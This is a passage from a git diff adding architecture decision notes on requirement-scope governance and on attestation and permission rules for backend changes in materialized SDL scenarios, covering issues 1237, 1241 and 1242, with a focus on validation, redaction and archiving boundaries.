capture-dimension projections. +- Do not accidentally create a Cartesian product by matching dimensions across + distinct offers, nor make first-match/set-order diagnostics authoritative. +- Do not conflate schema validity, semantic validator success, manifest promise, + record identity, byte integrity, and task/study satisfaction: each is a + necessary layer, none substitutes for another. +- Do not conflate the content proof with ADR-071 trust-policy compliance, + authenticity, signature validation, or reusable-asset admission. +- Do not absorb unrelated apparatus/time/cleanup/participant/evaluator + admissions into capture admission; invoke their existing validators alongside + it. + +## Non-goals + +### Authorized delivery-governance extension + +The user's subsequent scope expansion adds mixed-requirement workflow governance +under GOV-913. The evidence-plane non-goals below remain unchanged; they do not +prohibit this explicitly authorized tooling work. The reviewed, issue-bound +`docs/governance/requirement-scopes/1237.json` assigns exact delivery files to +EXP-708, EXP-715, GOV-913, SEM-218, or ASR-519. `tools/policy/requirement_scope.py` reuses the existing +status, prerequisite, ownership, and traceability evaluator independently for +every assigned owner. Scope is not a union of partial permissions, an ownership +exception, or a replacement requirement authority. + +The canonical `tools/requirement_context.py` resolver is shared by the direct +checker, Make/Nox policy, hooks, and detached canonical CI. Its new +`RAES_REQUIREMENT_BRANCH` input identifies workflow context only: it carries no +credentials, commands, remote URL, or alternative authority location. Exact +canonical manifest selection, strict bounded parsing, explicit primary-UID +agreement, and reject-before-skip behavior are enforced by regression tests. +The issue's Requirements section and the reviewed manifest name the same five +UIDs. Requirement records remain the configured offline source. + +The expanded code review identified two concrete repairs: established scopes +must not disappear into legacy fallback, and compute-substrate/conformance +source checks must use the canonical exact-source predicate. Git index/history +inspection preserves established scope authority across deletion and rename. +SEM-218 covers substrate admission, native binding, and reuse; ASR-519 covers +honesty conformance. Selection without an observation demand remains valid and +does not trigger readback. When readback is demanded without an explicit source, +driver-reported metadata cannot substitute for daemon or guest observation. +Conformance rejects a different source even when the former rank called it +stronger. Regression tests cover each ingress and both positive/negative paths. + +The implementation retains published support for inert relative artifact paths; +the absolute-URI-only recommendation above is therefore narrowed, not applied +as a compatibility break. Relative locators are checked as URI paths with the +canonical secret-field validator; host paths, file URIs, userinfo, fragments, +and secret queries are rejected before reader I/O or locator hashing. Proofs +retain only the admitted locator's identity digest. Metadata is revalidated into +independent snapshots before I/O, bounded to 1024 items and 256 MiB aggregate +declared bytes (64 MiB per artifact), and each shared artifact/document is read +and validated once per invocation while each requirement's relation checks run. +Installed-wheel coverage resolves and exercises both evidence registrations. + +This issue does not add collectors, storage/export services, evidence browsers, +new APIs/auth/config/env surfaces, subprocesses, backend-specific behavior, +new capture-policy syntax, a generic validation framework, a new persistence +repository, or a new exception/logging/workflow hierarchy. It does not change +ADR-064/066 plane ownership, #1112 fail-closed behavior, #1212 demand policy, +or ADR-071 reusable-asset policy. It does not enforce signatures or asset-family +trust requirements, or claim that admission proves execution, scientific +correctness, or semantic truth beyond validated required content. diff --git a/docs/decisions/issue-1241-materialization-attestation-preflight.md b/docs/decisions/issue-1241-materialization-attestation-preflight.md new file mode 100644 index 000000000..40b30845a --- /dev/null +++ b/docs/decisions/issue-1241-materialization-attestation-preflight.md @@ -0,0 +1,261 @@ +# Issue 1241: post-materialization SDL attestation preflight + +Recorded 2026-09-14. Architecture guidance for issue #1241 and requirement +SEM-225; the supplied requirement payload is authoritative and the issue narrows +it to post-materialization attestation. This is not an implementation plan or a +declaration that attestation is already supported. + +## Decision and existing boundaries + +The attestation describes the complete materialized scenario in SDL, including +backend additions and changes within existing elements. It is a separate, +immutable artifact linked to the original scenario and the particular execution. +It must not replace the authored input or become the comparison baseline that +proves that input was honored. Disclosure, authorization, successful delivery, +observation strength, evidence satisfaction and archive integrity are distinct +claims. + +The current repository already supplies more of this boundary than the issue's +six-concern example suggests: + +- `ScenarioContent` owns the shared world vocabulary; `Scenario`, + `ExpandedScenario` and `InstantiatedScenario` are closed phase models. +- `RealizationConcernDescriptor`, `RUNTIME_CONCERN_PROFILES` and the recursive + realization constraints own typed projections, collection identity and + comparison. Do not freeze attestation coverage to the original six concerns. +- `backend-realization-preparation-v1` and `PreparedNodeCollectionAuthority` + already admit certain added nodes/networks under enclosing collection + authority. `backend_entry_transition_diagnostics` rejects unadmitted resource + transitions independently of concern-value comparison. +- ADR-066 and `ExperimentAugmentationDisclosureModel` already classify + environment, participant and comparability effects. These disclosures and + `TypedRealizationDescriptionModel` are useful provenance/evidence carriers; + neither is a complete SDL document. +- Runtime snapshots are execution/reconciliation state. Their payloads contain + projections, commitments and backend details, not a lossless SDL serialization. + `RealizationProvenanceEntry` is value-free conformance provenance. + +These incumbents establish the architecture. A scoped design note is sufficient +for this preflight; accepted ADRs remain unchanged. Any normative phase/schema +extension must explicitly reconcile ADR-078 and the SDL document specification, +rather than treating this note as permission to bypass them. + +## SDL representation and distinguishability + +Use the existing closed SDL phase machinery and shared `ScenarioContent` for +the materialized document. Add only the missing phase/provenance contract needed +to distinguish a backend description from author intent. Do not define parallel +attestation-node, service, mount, environment or command schemas. World values +belong in their existing SDL fields; provenance contains identities, origins, +bindings and evidence references, not a second copy of those values. + +The public SDL parser must recognize the materialized document through its +normal bounded source decoding and typed/semantic admission. This is a real +cross-phase integration requirement: today `parse_sdl()` admits authoring input, +while `InstantiatedScenario` requires derivation provenance and permits qualified +identifiers that ordinary authoring rejects. Merely dumping that model, wrapping +it in `{profile, scenario}`, or adding unknown root fields does not satisfy the +same-parser requirement. Do not remove provenance or relax authoring identifier +rules to make a round trip pass. Materialized input must not trigger imports, +ambient variable binding or a second execution while being read. + +Retain the original authored artifact and admitted instantiated snapshot as +separate identities. The new document binds their profile-labelled digests, +submitted operation/plan, predecessor revision, selected backend +identity/version/configuration and materialization boundary. Its own digest is +distinct; do not redefine the existing `raes-sdl-semantic/v2` or +`raes-sdl-instantiated-snapshot/v2` profiles. Reuse `raes.canonical` and +`raes_contracts.canonical`; an artifact byte checksum and a semantic digest are +different identities, and neither authenticates the producer. + +Origin must be machine-readable at the granularity of actual differences: +authored elements, backend additions, and backend selections/changes inside an +authored element. Preserve processor/operator origins where applicable instead +of attributing every non-authored fact to the backend. Reuse the existing origin +and reference vocabulary; an environment variable's value provenance or a +forwarder's `ownership_role` does not answer who added that element. A parent +node origin alone cannot disclose a new listener or an sshd wrapper on it. +Canonical reference/pointer and collection-identity helpers must resolve every +origin record, reject collisions and dangling references, and prevent a backend +from relabelling an authored member as its own addition. + +Compare against admitted concrete input so import expansion, binding and +defaults do not masquerade as backend changes; retain source lineage for the +human-facing authored diff. Preserve qualified identities and significant +omissions. Keyed collections compare by their owning identity; ordered command +or match-rule sequences retain order. For infrastructure counts, instance +addresses must map to authored declarations without collapsing different +realizations of replicas into a single template. Backend names and native IDs +are not a portable identity scheme. + +The runtime must retain trusted scenario context: a lossy provisioning plan or +sanitized snapshot cannot reconstruct every scenario section or authored origin. +Backend adapters supply what they actually materialized using the shared SDL +models; the runtime validates the binding and origin claims against its input. +Do not hand the backend arbitrary authoring machinery as a provisioning recipe, +reverse-engineer SDL from native inspect dictionaries, or echo planned values as +observed facts. Materialization provenance must not forge a new instantiation +history by copying old constraint-to-value records onto changed values. + +Parsing and planning the description must preserve its descriptive status. +The ordinary compiler/planner path must support inspection and comparison of +the materialized SDL; a parser-only round trip does not meet that requirement. +Promotion to a new desired scenario is an explicit derivation using the existing +description-promotion/artifact-transformation boundary; ingestion never silently +grants the backend's observations author authority. + +## Disclosure scope and gate behavior + +The scope is any in-world change a participant could in principle observe, +including additions to an existing resource. It does not depend on whether a +participant actually observed it or whether the operator calls it apparatus. + +| Change | Existing SDL owner and guardrail | +| --- | --- | +| Collector, sidecar or proxy | `nodes`, `infrastructure`, networks and their references; disclose attachment and exposure, not just a container name. | +| Services, listening sockets and host exposure | Existing runtime service families, `runtime_listeners`, `runtime_network`; service inventory, listener bind state, published ports and readiness are separate facts. | +| Forwarders, environment and capabilities | `runtime_forwarding_agent`, `runtime_environment`, `runtime_capabilities`; ownership/classification does not confer permission or prove evidence delivery. | +| Mounts and injected files/rules | `runtime_mounts`, `runtime_filesystem`, `content`, generated-artifact delivery and detection-engine families; report the final content identity and destination, including overwritten bind-source content. Keep persistent volumes and artifact-owned destinations distinct. | +| Login/session wrappers and commands | `runtime_ssh_server.RuntimeSshServer`, `SshForcedCommand`, process/service configuration and corresponding content; preserve match-rule precedence, command posture and executable content identity. A feature recipe alone is not proof of the installed state. | + +Attest after all materialization hooks that change this world, including boot +rewrites and evidence setup. Bind the observation window/revision so a pre-hook +snapshot cannot claim the post-hook result. A later materialization creates a +new record; retries must not overwrite a different result under an existing +identity. Out-of-world bookkeeping is excluded, but any resulting in-world +effect remains included. A no-additions result still requires an attestation. + +Preserve the original non-approximation checks for required members, exact +leaves, domains, absence and collection closure. A disclosed replacement, +deletion, extra capability or published port can still violate those checks. +The useful distinction is **disclosed and authorized** versus undisclosed or +unauthorized. Attestation is not a retroactive grant. Reuse prepared membership +and recursive collection admission before mutation; an open child concern is +not permission to create arbitrary resource addresses. Cases outside existing +authority remain informative refusals, not global gate relaxations. The +separately proposed scenario-wide open/closed policy is outside this issue. + +The backend-return gate must reconcile the full attested inventory with delivered +state and admitted additions, and detect omissions and contradictions. Checking +only addresses already present in the plan cannot discover undisclosed extras. +Coverage and observation basis reuse the existing description/observation +vocabulary: backend-selected or synthetic facts are not independent readback. +Unknown, withheld, absent and unobserved remain distinct. A backend unable to +describe a required in-world effect must not issue a complete success claim; +use the existing bounded failure/evidence paths. This is a backend attestation, +not a cryptographic proof that no malicious process concealed state. + +## Cross-cutting admission and delivery + +Python module names below are relative to `implementations/python/packages/`. +These boundaries apply to direct runtime calls as well as HTTP calls. + +| Layer / canonical incumbents | Required behavior | +| --- | --- | +| SDL source and local shapes: `raes.parser`, `_yaml_loader`, `_source_profile.SDLParserLimits`, `_base.SDLModel`, owning runtime models | Apply strict UTF-8/single-document, duplicate-key, alias/depth/work/scalar bounds, finite JSON and closed-field checks. Reuse enum/profile/identifier and path validators. Bound backend object input before recursive copying/serialization too; HTTP limits alone do not protect in-process calls. | +| Semantic and phase admission: `SemanticValidator`, `instantiate`, `_scenario_instantiation`, `phase_contracts`, canonical snapshot admission | Resolve node/network/service/listener/content references, stateful destination exclusivity, qualified identities, concrete values and provenance consistency. Preserve shared semantic checks for a materialized document; no `skip_semantic_validation` or unsafe model construction at acceptance. SDL shape validity alone is insufficient. | +| Plan, configuration and authority: `realization_concerns`, `realization_runtime_concern_profiles`, recursive relations, `backend_preparation`, `backend_profiles`, `backend_realization_authority`, `control_plane_plan_authorization` | Bind exact plan, backend manifest/configuration, operation and predecessor; retain profile support and collection admission. Reuse manifest capability negotiation for attestation support/version, not per-backend flags or a silent optional-field fallback. Preparation describes a selection, never post-materialization success. | +| Secrets and binding shapes: `runtime_values.enforce_observed_value_redaction`, `runtime_environment.RuntimeEnvironmentVariable`, `SshForcedCommand`, `backend_account_credentials`, realization projections/sanitizers | Preserve `value`/`value_from` exclusivity and classification restrictions, generated-artifact ownership and secret resolution boundaries. Redacted/operator-secret values stay omitted; a redacted forced command has empty command text and consistent kind/flag. Apply these to backend additions as well as planned paths, including origin notes, URIs and inline content. Do not reuse snapshot commitments as SDL values or hash low-entropy secrets as a disclosure workaround. | +| Observation/retention: `observation_demand`, its resolution/validation helpers, `observation_execution`, `observation_results` | Express required safe description and archival obligations through the existing scoped lifecycle policy. Required-versus-prohibited collection/retention conflicts fail admission before mutation; no silent opt-out and no bypass of a prohibition. Mandatory post-apply work must respect the existing compensation/atomicity admission. Independent raw capture remains separately governed. Export still needs a governed delivery owner. | +| Backend return: `_call_backend_apply`, `_finalize_backend_apply`, `backend_call_contracts`, `backend_snapshot_contracts`, `backend_entry_transitions`, `backend_effect_transitions` | Admit the typed attestation and bindings before accepting success, persistence or API conversion; revalidate the sanitized result. Preserve domain ownership, changed-address accounting, transition checks, defensive isolation and value-free failure handling. Failed/partial cleanup inventory is not a completed attestation. Returning the baseline snapshot is not physical rollback of backend side effects. | +| Authentication and information flow: `ControlPlaneSecurityConfig`, `control_plane_api._auth`, `RequestSizeLimitMiddleware`, participant audience/control bindings | Retain verified identity/bearer authentication, target-bound roles, planner authorization and bounded input. Default HTTP input is 1 MB while SDL source permits 8 MiB: payload transport must respect both configured budgets or use the existing bounded artifact-reader pattern. In-world observability does not authorize publishing the full SDL to every participant; preserve audience, marking and redaction rules. No new public endpoint or auth configuration is needed merely to carry the artifact. | +| Diagnostics and audit: `Diagnostic`, SDL error types, `backend_result_diagnostics`, existing control-plane audit and HTTP handlers | Report bounded identities, paths and reason codes. Do not render source snippets, Pydantic input values, raw backend exceptions, command output, tokens or artifact bodies in logs/errors. Reuse the redacted backend/HTTP failure envelopes and existing audit correlation; no exception hierarchy or logging stack for attestation. | +| Host execution and storage: reference `drivers.oci` injected runner, libvirt `guest_transport`, `raes_operations.run_artifacts` | Use fixed argv/no shell, bounded readback and existing secret-input channels; never put tokens or secret-bearing commands in argv. Record guest paths where SDL requires them, not host cache paths or credentials. Archive destinations are runtime-owned: validate run IDs, keep subdirectory/filename parameters trusted, enforce containment including symlinks, use protected temporary files, and never dereference a backend-supplied URI automatically. | + +Do not drop required facts merely to sanitize the artifact. Use the owning SDL +redaction/presence representation and an explicit limitation; if it cannot +represent the safe fact, that is a contract gap to settle before claiming +support. A safely redacted SDL document is not a promise of self-contained replay +without separately authorized secret/artifact inputs. + +## Persistence, evidence and extensibility + +Return a first-class attestation carrier/reference through the existing apply +and runtime lifecycle (`raes_backend_protocols`, `ApplyResult` and the runtime +result adapters). The obligation belongs to completed materialization, not every +evaluation or participant call that also happens to return `ApplyResult`. +Producer scope must be explicit when a target uses multiple backends: preserve +their provenance and reject overlapping contradictory claims rather than using +last-writer-wins assembly or making one backend attest another's work. +Keep `ExperimentRunModel.scenario_snapshot_ref` bound to the admitted input. A +materialization attestation needs a separate typed artifact/reference identity; +do not relabel it `scenario-snapshot` or hide it under `other`. If that identity +extends `ExperimentReferenceModel.ref_kind`, `ExperimentArtifactRefModel.role` +or the associated-artifact parent set, update their narrowed subclasses, schema +conditionals, matchers and semantic validators together. In particular, today's +associated-artifact scenario-snapshot matcher deliberately excludes +`InstantiatedScenario`, so it cannot admit a new materialized phase unchanged. +Archive the actual admitted SDL bytes, with checksum, +size, sensitivity and execution binding. Reuse `ExperimentArtifactRefModel`, +`ExperimentRunModel.evidence_artifacts`, augmentation disclosures and their +evidence traceability validators. `ExperimentRealizedFormDisclosureModel` can +reference the result; its summary or `typed_description` must not substitute for +the SDL file. Reuse the associated-artifact manifest and bounded byte validators +when attaching companion content. A URI or successful JSON serialization is not +proof that the referenced bytes were archived. + +Existing augmentation rules still require evidence for non-apparatus claims, +an environment effect and portable carrier for environment-visible additions, +markings for participant-visible additions, and observer/comparability effects +when asserted. Creating a collector or its attestation does not itself satisfy +the scenario's `evidence_requirements`. + +Persist accepted identity and recovery information through the existing +control-plane terminal commit, operation records and snapshot revision/CAS +machinery. Snapshot carriage, if used, must round-trip through +`_snapshot_payload`, `_snapshot_from_payload`, `_snapshot_model` and +`RuntimeSnapshotEnvelopeModel`; the durable codec checks exhaustive fields. +Do not hide SDL in `details`, snapshot metadata, audit blobs or a new side store. +`run_artifact_path` and `atomic_write_json_artifact` are the archive incumbents; +extend their shared writing boundary for SDL bytes only as needed. Their JSON +pretty printer is not RFC 8785 canonicalization. Atomic rename alone does not +make a file and a database commit one transaction: publish immutable bytes and +their verified reference with recoverable failure handling. Required archival +failure cannot be reported as a reproducibly completed run. Preserve cleanup +state and avoid repeating materialization on recovery. + +Extensibility belongs at existing seams: concern descriptors and owning SDL +models supply field/collection semantics; a versioned, bounded coverage profile +supplies the attested universe; backend manifest/configuration and execution +bindings distinguish producers and revisions; the shared artifact writer and +injected bounded reader own transport. The next runtime family, backend or +materialization revision must not require another six-kind table, bespoke diff +engine, world schema or archive workflow. The coverage profile cannot silently +exclude any effect required by #1241. + +## Verification and implementation boundaries + +Implementation evidence should reuse the SDL phase/serialized differential +tests, runtime-contract and preparation tests, realization-honesty conformance, +`test_sem_225_augmentation_semantics.py`, scoped-observation runtime boundary +tests, and crash-consistency/CAS tests. Discriminating cases include same-parser +round trips with imports/replicas and redaction; disclosed permitted additions; +undisclosed extras; disclosed violations of exact or closed authority; a wrapper +or content rewrite on an authored node; stale bindings; no-additions success; +invalid/oversized input; secret-free errors; and archive/restart failure. A fake +backend validates contract behavior, not independent production readback. + +Schema changes follow ADR-009/061: the hand-governed `contracts/schemas/` bundle +is authoritative. Keep `schema_bundle()` parity, publication entries/ledger +under the current manifest index, valid/invalid fixtures, SDL section/catalog +parity, semantic revision/profile rules, concept bindings/lineage and packaged +corpus exports aligned wherever touched. Old consumers must explicitly reject +unsupported attestation contracts rather than silently discard disclosure. +Preserve package dependency direction: shared carriers stay in `raes_contracts`, +SDL admission in `raes`, planning in `raes_processor`, and execution/storage in +their runtime/operations owners. Do not make a contract validator import a +backend, call the runtime, or depend on a checkout-relative corpus path. +Reuse `.ground-control.yaml`, `.gc/plan-rules.md`, `.pre-commit-config.yaml`, +`noxfile.py`, `tools/check_repo_policy.py`, generated-schema/publication checks +and `tools/verify_all.py`. The branch name lacks a requirement UID, so run the +policy and verification commands with `RAES_REQUIREMENT_UID=SEM-225`; do not use +`--skip-requirement`. Release-owned versions/changelogs and accepted ADR pins +remain governed. + +Non-goals: implementing the issue in this preflight; moving TechVault/APTL capture +topology or editing other repositories; introducing the separate global scope +policy; collecting every host/guest fact continuously; new deployment recipes, +auth endpoints, exception/logging stacks, stores or cryptographic attestation; +automatic promotion/redeployment of observed SDL; changing participant visibility +or evidence-satisfaction semantics; and claiming that valid SDL, a digest or +backend self-report proves complete independent observation or exact replay. diff --git a/docs/decisions/issue-1241-materialization-attestation-verification.md b/docs/decisions/issue-1241-materialization-attestation-verification.md new file mode 100644 index 000000000..7c8702cb2 --- /dev/null +++ b/docs/decisions/issue-1241-materialization-attestation-verification.md @@ -0,0 +1,79 @@ +# Issue #1241 acceptance mapping + +This change extends the existing ACTIVE SEM-225 contract. The implementation +uses common SDL content, not a second world-description model. + +- [x] Issue: valid SDL, ordinary parsing, formatting, inspection planning and + comparison → `implementations/python/packages/raes/materialization.py:16`, + `implementations/python/packages/raes/canonical.py:74`, and shared compiler + `pipeline.py`; verified by `test_issue_1241_materialized_sdl.py` and + `test_issue_1241_inspection_plans.py`. +- [x] Issue: distinguish full authored content from in-world additions/changes, + including wrappers and rewritten files → + `implementations/python/packages/raes_processor/compiler/materialization_origins.py:22`; + verified by `test_issue_1241_materialization_origins.py` with native keyed + collections, ordered commands, qualified imports and field-level pointers. +- [x] Issue: complement rather than replace original realization authority → + `implementations/python/packages/raes_runtime/backend_materialization.py:28` + after the incumbent result gate, and + `implementations/python/packages/raes_processor/planner/materialization_admission.py:36`; + verified by truthful-but-unauthorized, stale-binding, omitted-inventory, + cross-domain and complete replica-binding tests. +- [x] Issue: return the attestation and archive the reproducibility record → + `implementations/python/packages/raes_operations/run_artifacts.py:82`, typed + `ApplyResult`/`RuntimeSnapshot`, and existing control-plane codecs; verified + by runtime, immutable-byte, associated-artifact and restart tests. +- [x] SEM-225: define environment-visible, participant-visible and + comparability-relevant augmentation semantics → + `specs/sdl/materialization-attestation.md`, + `implementations/python/packages/raes_contracts/contracts/experiment_disclosure.py:78`, + and `materialization_attestation.py:55`; verified by + `test_issue_1241_materialization_artifacts.py` and the incumbent SEM-225 suite. +- [x] Issue: no-additions results, protected values and operational provenance + remain explicit → negotiated mandatory delivery, closed native redaction, + value-free failures, restricted immutable files and separate evidence + requirements, exercised by the issue-focused runtime/SDL/archive suites. + +The source remains authenticated full instantiated SDL. The attestation has +its own canonical profile and cannot be executed implicitly. The original run +`scenario_snapshot_ref` is unchanged. Publication precedes durable accepted +references; invalid descriptions or archive failure preserve valid cleanup +inventory without claiming physical rollback or authorizing automatic replay. + +The ADR-078 amendment and its pin, phase catalog parity checker, published +schemas, valid/invalid fixtures and per-contract change ledgers are part of the +delivery diff. Schema metadata distinguishes structural validity from the +source/execution/byte context required for full admission. + +## Review regression coverage + +- F1: `test_issue_1241_schema_omissions.py` exercises all twelve consumers of + shared value-redaction admission, plus command and filesystem omission rules, + against authoring, instantiated and materialized schemas and published bytes. + It covers withheld/empty/plain values, classification aliases, Boolean flag + aliases, and each present-only filesystem field. A source sweep locks the + set of shared redaction consumers. The owning models share schema helpers; + no materialized-only exception is introduced. +- F2: `test_issue_1241_planner_inventory.py` covers planned and backend-selected + profile bindings and both random-artifact regeneration scopes across all + three operation phases. Positive and tampered cases bind comparison metadata + to prepared operations or the trusted predecessor, never the returned report. + The reference-backend apply test executes real profile preparation and + archives the accepted result. Original authority checks remain unchanged. +- Publication budget: `test_issue_1241_schema_publication_size.py` requires the + self-contained schema to fit the existing 500 KB file limit and exactly match + `schema_bundle()`. Repeated subschemas use local definitions, with one + definition per line. Expanding those references must recover the complete + original schema, including every annotation. Nested reference scopes are + refused; data-valued keywords and existing definition names are preserved. + +## Integration verification + +The merge retains the published coverage release 16.0.0 and formal release +18.0.0 from `dev`. Fresh execution captures the combined implementation in +coverage release 17.0.0 and formal release 19.0.0, with explicit compiler-digest +deviations and unchanged bounded outcomes. The historical no-replay regression +also covers formal release 18.0.0. Archived shape and computed integrity checks +remain separate, with all twelve retained production records independently pinned. +`test_each_source_bound_release_checks_its_explicit_baseline` checks every admitted +release's baseline mapping and rejects a substituted baseline, including release 19. diff --git a/docs/decisions/issue-1242-scenario-scope-preflight.md b/docs/decisions/issue-1242-scenario-scope-preflight.md new file mode 100644 index 000000000..fc05b8aeb --- /dev/null +++ b/docs/decisions/issue-1242-scenario-scope-preflight.md @@ -0,0 +1,302 @@ +# Issue 1242: binding scenario scope preflight + +Architecture guidance for issue #1242 / SEM-225, reviewed 2026-09-16 against +the current repository and the supplied requirement and issue payloads. +This note records proposed design boundaries, not an implementation plan or a +claim of implemented support. No accepted ADR or published contract changes here. + +## Decisions + +### Permission is distinct from realization and evidence + +Use the in-world-effect definition in +[materialization attestation](../../specs/sdl/materialization-attestation.md) +(`raes-materialization-effects/v1`) for both disclosure and permission. An +effect counts if a participant could in principle observe it, including effects +inside an existing node. Apparatus labels, backend ownership, lack of an actual +observation, or placement outside a participant's logical view do not exempt it. +Out-of-world bookkeeping is excluded; its in-world effects are included. + +Permission does not replace ADR-066's independent augmentation classifications. +Reuse `ExperimentAugmentationDisclosureModel`: environment effects need portable +carriers, participant visibility needs markings and authorized projection, and +comparability relevance needs comparability/observer-effect disclosure. An +apparatus-only change may still affect comparability. Absence of an in-world +addition is not proof of equivalent runs, and open scope waives none of these +disclosure or evidence-reference obligations. + +Closed scope prohibits backend-introduced effects beyond the admitted scenario. +It does not prohibit choosing an image, operating system, or other realization +value within authority already delegated by that scenario. Reuse original +recursive realization constraints to establish that distinction; the backend's +assertion that an addition is necessary is not delegation. A new listener, +forwarder, sidecar, injected executable/file, sshd `ForceCommand`, changed sensor +rules, mount, capability, or network attachment can change the world even when +no portable node is added. Removal/replacement can also introduce an effect. +Checking only origins with `change="added"` is insufficient: #1241 represents +some such changes as `selected`, and records removed members separately. + +Open scope permits necessary additions only within all other admitted +constraints and requires attestation of them. It does not override exact +values, required members, collection closure, resource ownership, participant +policy, artifact-delivery authority, or observation prohibitions. Conversely, +an open realization collection does not itself authorize evidence apparatus. + +Apply the same boundary to processor-inserted instrumentation. Preserve authored +intent and explicitness provenance through compilation: inserting apparatus into +the compiled input must not turn it into author permission before backend scope +admission. Ordinary source-mandated derivation remains distinct from augmentation; +`PROCESSOR_DERIVED` or `BACKEND_REALIZED` alone cannot decide permission. + +Reuse these owners without merging their meanings: + +| Existing owner | Meaning retained | +| --- | --- | +| `RealizationDesignation`, recursive constraints, `PreparedNodeCollectionAuthority` | Permitted realizations, portable membership and lifecycle authority. | +| `EvidenceRequirement`, `CaptureDemand`, `ObservationCaptureOffer`, `CAPTURE_DIMENSIONS` | Required capture and complete compatible capability offers. | +| `ObservationDemandRule` and its normalizer | Observation purpose, selectors, collection, retention, export and prohibitions. | +| `ParticipantObservationBoundary` | Participant information/view semantics; not physical network isolation or an addition grant. | +| `MaterializedScenario`, `MaterializationOrigin`, augmentation disclosures | What was materialized and its effects; neither permission nor proof that capture succeeded. | + +### Scope and default + +Add only the missing **addition-permission axis**, authored once in shared +`ScenarioContent` alongside the observation/evidence surfaces. Use a scenario +default with scoped node/concern exceptions, resolved through the existing +canonical semantic-address and composition-namespace machinery. Do not put +independent permission booleans on every evidence requirement or node type. +References near evidence/boundary declarations can select the same policy; +they must not create competing authorities. Do not overload the existing +free-text `EvidenceRequirement.scope`, observation lifecycle modes, or +`realization.default` with this new meaning. + +The author selected **open by default** on 2026-09-16: closed by default would +place a large, unexpected burden on scenario authors. Preserving compatibility +is a consequence of that authoring decision, not its sole rationale. Authors +who require restrictions must explicitly forbid additions. This supersedes the +initial closed-default recommendation. An omitted declaration retains the existing +negotiated backend contract; an explicit open or closed declaration requires +scope-capable admission and materialization attestation. A scope-capable backend +also treats omitted policy as open. Do not infer an explicit permission from +authored monitoring nodes or change existing realization defaults. Publish the +negotiation and migration rules through the existing evolution policy; older +consumers must refuse an explicit policy they cannot enforce. Historical +archived artifacts retain their original interpretation. + +Within one location, the most specific explicit author rule governs; the root +default fills gaps. Reject conflicting rules of equal specificity. Preserve +import namespaces and local restrictions rather than letting an outer default +widen a module's explicit policy. Resolve all affected locations of an effect: +one applicable closed location refuses it, even if its installation location is +open. Thus a management collector can be allowed while a participant-reachable +listener, traffic redirection, host wrapper, or dual-homed attachment is refused. +Network names and the word "management" are not evidence of isolation. +Here "applicable closed" means the effective rule after local specificity +resolution; an explicit closed root default must not defeat its open exceptions. +Reuse address and partition primitives, not observation-specific precedence: +`observation_axis_winner` prioritizes required demands and breaks ties by identity, +which is not permission conflict resolution. Neither experiment capture demand +nor `apparatus_realization_default` may widen author addition permission. + +An added member is addressed through its admitted enclosing collection and +proposed native identity; a selector need not reference a nonexistent authored +node. Existing members/concerns use canonical resolved identities. Reuse +`observation_scope`, `realization_structure.canonical_semantic_address`, +`semantic_address_contains`, declaration indexes and native collection profiles; +no string-prefix matching, list-position identity, or second selector language. +Unknown impact/coverage cannot establish closed-scope compliance. Physical +reachability claims need support from the admitted network/listener/participant +contracts; logical observation boundaries alone cannot supply that proof. + +### Admission and backend contract + +Build on [read-only preparation](../../specs/sdl/backend-realization-preparation.md) +and the existing backend manifest negotiation, not another provisioning workflow. +The missing information is a complete prospective effect declaration, with the +requirements it serves and affected scopes, for the selected backend +configuration. Share #1241's SDL owners, difference/identity logic and coverage +profile. Do not fabricate a post-materialization attestation before execution, +or introduce parallel collector/listener/wrapper DTOs. Prospective selection, +permission, actual delivery and evidence satisfaction remain separate claims. + +The declaration must cover all effects, including shared apparatus serving +multiple requirements and effects inside existing resources. A capability offer +alone does not prove that it can be delivered without forbidden additions. +Retain `capture_admission_diagnostics` and its complete-offer matching: do not +combine partial offers, invent capture support, or downgrade required evidence +to best effort. Optional collection also cannot bypass scope permission. + +Bind permission and prospective effects to the exact admitted scenario, plan, +operation, backend manifest/configuration and predecessor using the existing +canonical commitments and planner authorization. Check all relevant producers +and phases before the first world mutation, probe, secret resolution, artifact +generation or guest rewrite. Preparation remains pure. It may use configured +support and supplied state, but may not materialize to discover feasibility. +If a backend cannot establish a compliant completion beforehand, it refuses. +Operation/audit records of the refusal are allowed; a half-built range is not. + +**Current integration gaps that must not be hidden:** + +- `backend_preparation.prepare_backend_invocation` currently prepares only a + `ProvisioningPlan`. `RuntimeManager` subsequently runs time, participant, + evaluation and orchestration phases. Per-phase late checks alone cannot + establish scenario-wide admission before any mutation. Use the incumbent + execution-plan/control-plane admission owners to admit the complete known + effect set, while retaining immediate-predecessor checks at each invocation. + A missing phase/configuration dependency is a refusal, not guessed authority. +- `backend_observation_calls` currently finalizes backend materialization before + `execute_plan_observation_demand`. Any observation setup that changes the + world must already be admitted and be covered by the final attestation after + those effects. A pre-hook attestation cannot claim post-hook completeness. +- #1241's models and result gate are present, but the reference backend's + `REFERENCE_BACKEND_SUPPORTED_CONTRACT_VERSIONS` explicitly excludes + `backend-materialization-attestation-v1`. Inspect actual selected manifest + support; shared schema availability does not imply backend support. Neither + open nor closed execution under this policy may silently lose attestation. + Registering a new contract in `BACKEND_SUPPORTED_CONTRACT_IDS` must not cause + catalog-derived manifest defaults to advertise unimplemented support. +- Capture demand compilation lives in the processor; portable phase plans + chiefly carry normalized observation demand and negotiated source context. + Preserve authoritative evidence-requirement identities and policy across + lowering/serialization so direct runtime submissions cannot omit them. +- `observation_admission` currently refuses required observation alongside + mutation where compensation is unavailable, and refuses required export + without a delivery owner. Scope permission must retain those refusals; an + open scenario is not a promise that every capture/lifecycle request is executable. + +Keep `raes_contracts.plan_effects.plan_can_mutate` as the shared effect classifier +for authorization and observation atomicity. Prospective effects cannot escape +these gates because the submitted operation list is empty. Retain the existing +runtime ownership, mutation serialization, idempotency and revision checks; +permission admission is part of that lifecycle, not a separate check-then-apply +endpoint. Planner authorization is process-local: a recovered receipt or a stored +digest is not permission to execute again after restart. + +If runtime configuration or state changes after admission, invalidate the bound +choice and refuse/re-admit through the existing operation lifecycle before new +effects. Do not automatically replay apply. Combined backends retain producer +scope and cannot authorize each other's effects or hide contradictory claims. + +After materialization, reuse `materialization_differences`, +`validate_materialization_origins`, `admit_materialization_submission` and the +backend result gate to compare the actual complete inventory against both the +original authority and the admitted effects. Closed scope does not waive a +no-additions attestation. Truthful disclosure cannot cure a permission violation. +Unexpected effects or failed mandatory capture prevent success. Preserve honest +cleanup inventory through the existing failure/compensation owners; returning a +predecessor snapshot is not physical rollback or proof of zero side effects. +Replanning must account for previously admitted additions: tightening scope may +require explicit remediation, and must not silently retain them or delete them +as a side effect of a refused admission. Authorized teardown stays available. + +### 